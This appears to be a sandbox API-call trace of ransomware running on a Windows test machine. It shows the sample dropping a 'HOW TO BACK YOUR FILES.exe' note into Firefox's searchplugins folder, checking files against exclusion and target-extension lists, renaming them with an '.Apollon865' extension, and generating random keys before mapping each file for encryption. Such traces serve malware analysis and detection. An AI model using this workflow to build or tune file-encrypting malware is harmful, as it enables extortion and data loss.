	[0052.795] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="omni.ja" | out: lpString1="omni.ja") returned="omni.ja"
	[0052.795] lstrlenW (lpString="omni.ja") returned 7
	[0052.795] lstrlenW (lpString="Apollon865") returned 10
	[0052.795] lstrlenW (lpString=".dll") returned 4
	[0052.795] lstrcmpiW (lpString1="omni.ja", lpString2=".dll") returned 1
	[0052.795] lstrlenW (lpString=".lnk") returned 4
	[0052.795] lstrcmpiW (lpString1="omni.ja", lpString2=".lnk") returned 1
	[0052.795] lstrlenW (lpString=".ini") returned 4
	[0052.795] lstrcmpiW (lpString1="omni.ja", lpString2=".ini") returned 1
	[0052.795] lstrlenW (lpString=".sys") returned 4
	[0052.795] lstrcmpiW (lpString1="omni.ja", lpString2=".sys") returned 1
	[0052.795] lstrlenW (lpString="omni.ja") returned 7
	[0052.795] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="searchplugins" | out: lpString1="searchplugins") returned="searchplugins"
	[0052.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0052.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf568
	[0052.795] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0052.795] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="SEARCH~1")) returned 0
	[0052.795] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.795] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0052.795] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins"
	[0052.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.795] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned 60
	[0052.795] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins"
	[0052.795] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.795] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.801] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x378b20f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x378b20f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.801] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.801] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.801] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.801] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x378b20f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x378b20f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.802] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.802] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.802] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.802] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.802] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="amazondotcom.xml", cAlternateFileName="AMAZON~1.XML")) returned 1
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2="Apollon865.txt.exe") returned -1
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2=".") returned 1
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2="..") returned 1
	[0052.802] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="amazondotcom.xml" | out: lpString1="amazondotcom.xml") returned="amazondotcom.xml"
	[0052.802] lstrlenW (lpString="amazondotcom.xml") returned 16
	[0052.802] lstrlenW (lpString="Apollon865") returned 10
	[0052.802] lstrcmpiW (lpString1="dotcom.xml", lpString2="Apollon865") returned 1
	[0052.802] lstrlenW (lpString=".dll") returned 4
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2=".dll") returned 1
	[0052.802] lstrlenW (lpString=".lnk") returned 4
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2=".lnk") returned 1
	[0052.802] lstrlenW (lpString=".ini") returned 4
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2=".ini") returned 1
	[0052.802] lstrlenW (lpString=".sys") returned 4
	[0052.802] lstrcmpiW (lpString1="amazondotcom.xml", lpString2=".sys") returned 1
	[0052.802] lstrlenW (lpString="amazondotcom.xml") returned 16
	[0052.802] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml.Apollon865") returned 88
	[0052.802] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.803] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2464) returned 1
	[0052.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.804] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.805] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.805] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.805] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca0, lpName=0x0) returned 0x118
	[0052.806] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca0) returned 0x100000
	[0052.807] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.808] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.808] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.809] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.809] CloseHandle (hObject=0x118) returned 1
	[0052.809] CloseHandle (hObject=0x14c) returned 1
	[0052.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.809] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bing.xml", cAlternateFileName="")) returned 1
	[0052.809] lstrcmpiW (lpString1="bing.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.809] lstrcmpiW (lpString1="bing.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.809] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bing.xml" | out: lpString1="bing.xml") returned="bing.xml"
	[0052.809] lstrlenW (lpString="bing.xml") returned 8
	[0052.809] lstrlenW (lpString="Apollon865") returned 10
	[0052.809] lstrlenW (lpString=".dll") returned 4
	[0052.809] lstrcmpiW (lpString1="bing.xml", lpString2=".dll") returned 1
	[0052.809] lstrlenW (lpString=".lnk") returned 4
	[0052.809] lstrcmpiW (lpString1="bing.xml", lpString2=".lnk") returned 1
	[0052.809] lstrlenW (lpString=".ini") returned 4
	[0052.809] lstrcmpiW (lpString1="bing.xml", lpString2=".ini") returned 1
	[0052.809] lstrlenW (lpString=".sys") returned 4
	[0052.809] lstrcmpiW (lpString1="bing.xml", lpString2=".sys") returned 1
	[0052.809] lstrlenW (lpString="bing.xml") returned 8
	[0052.810] lstrlenW (lpString="bak") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.810] lstrlenW (lpString="ba_") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.810] lstrlenW (lpString="dbb") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.810] lstrlenW (lpString="vmdk") returned 4
	[0052.810] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.810] lstrlenW (lpString="rar") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.810] lstrlenW (lpString="zip") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.810] lstrlenW (lpString="tgz") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.810] lstrlenW (lpString="vbox") returned 4
	[0052.810] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.810] lstrlenW (lpString="vdi") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.810] lstrlenW (lpString="vhd") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.810] lstrlenW (lpString="vhdx") returned 4
	[0052.810] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.810] lstrlenW (lpString="avhd") returned 4
	[0052.810] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.810] lstrlenW (lpString="db") returned 2
	[0052.810] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.810] lstrlenW (lpString="db2") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.810] lstrlenW (lpString="db3") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.810] lstrlenW (lpString="dbf") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.810] lstrlenW (lpString="mdf") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.810] lstrlenW (lpString="mdb") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.810] lstrlenW (lpString="sql") returned 3
	[0052.810] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.810] lstrlenW (lpString="sqlite") returned 6
	[0052.811] lstrcmpiW (lpString1="ng.xml", lpString2="sqlite") returned -1
	[0052.811] lstrlenW (lpString="sqlite3") returned 7
	[0052.811] lstrcmpiW (lpString1="ing.xml", lpString2="sqlite3") returned -1
	[0052.811] lstrlenW (lpString="sqlitedb") returned 8
	[0052.811] lstrlenW (lpString="xml") returned 3
	[0052.811] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.811] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml.Apollon865") returned 80
	[0052.811] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.812] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2878) returned 1
	[0052.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.813] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.813] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.813] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.813] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe40, lpName=0x0) returned 0x118
	[0052.815] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe40) returned 0x100000
	[0052.815] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.816] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.816] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.817] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.817] CloseHandle (hObject=0x118) returned 1
	[0052.817] CloseHandle (hObject=0x14c) returned 1
	[0052.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.817] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eBay.xml", cAlternateFileName="")) returned 1
	[0052.817] lstrcmpiW (lpString1="eBay.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.817] lstrcmpiW (lpString1="eBay.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.817] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="eBay.xml" | out: lpString1="eBay.xml") returned="eBay.xml"
	[0052.817] lstrlenW (lpString="eBay.xml") returned 8
	[0052.817] lstrlenW (lpString="Apollon865") returned 10
	[0052.817] lstrlenW (lpString=".dll") returned 4
	[0052.817] lstrcmpiW (lpString1="eBay.xml", lpString2=".dll") returned 1
	[0052.817] lstrlenW (lpString=".lnk") returned 4
	[0052.817] lstrcmpiW (lpString1="eBay.xml", lpString2=".lnk") returned 1
	[0052.818] lstrlenW (lpString=".ini") returned 4
	[0052.818] lstrcmpiW (lpString1="eBay.xml", lpString2=".ini") returned 1
	[0052.818] lstrlenW (lpString=".sys") returned 4
	[0052.818] lstrcmpiW (lpString1="eBay.xml", lpString2=".sys") returned 1
	[0052.818] lstrlenW (lpString="eBay.xml") returned 8
	[0052.818] lstrlenW (lpString="bak") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.818] lstrlenW (lpString="ba_") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.818] lstrlenW (lpString="dbb") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.818] lstrlenW (lpString="vmdk") returned 4
	[0052.818] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.818] lstrlenW (lpString="rar") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.818] lstrlenW (lpString="zip") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.818] lstrlenW (lpString="tgz") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.818] lstrlenW (lpString="vbox") returned 4
	[0052.818] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.818] lstrlenW (lpString="vdi") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.818] lstrlenW (lpString="vhd") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.818] lstrlenW (lpString="vhdx") returned 4
	[0052.818] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.818] lstrlenW (lpString="avhd") returned 4
	[0052.818] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.818] lstrlenW (lpString="db") returned 2
	[0052.818] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.818] lstrlenW (lpString="db2") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.818] lstrlenW (lpString="db3") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.818] lstrlenW (lpString="dbf") returned 3
	[0052.818] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.819] lstrlenW (lpString="mdf") returned 3
	[0052.819] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.819] lstrlenW (lpString="mdb") returned 3
	[0052.819] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.819] lstrlenW (lpString="sql") returned 3
	[0052.819] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.819] lstrlenW (lpString="sqlite") returned 6
	[0052.819] lstrcmpiW (lpString1="ay.xml", lpString2="sqlite") returned -1
	[0052.819] lstrlenW (lpString="sqlite3") returned 7
	[0052.819] lstrcmpiW (lpString1="Bay.xml", lpString2="sqlite3") returned -1
	[0052.819] lstrlenW (lpString="sqlitedb") returned 8
	[0052.819] lstrlenW (lpString="xml") returned 3
	[0052.819] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.819] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml.Apollon865") returned 80
	[0052.819] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.820] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2583) returned 1
	[0052.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.820] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.821] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.821] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.821] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x118
	[0052.822] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000
	[0052.823] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.824] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.824] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
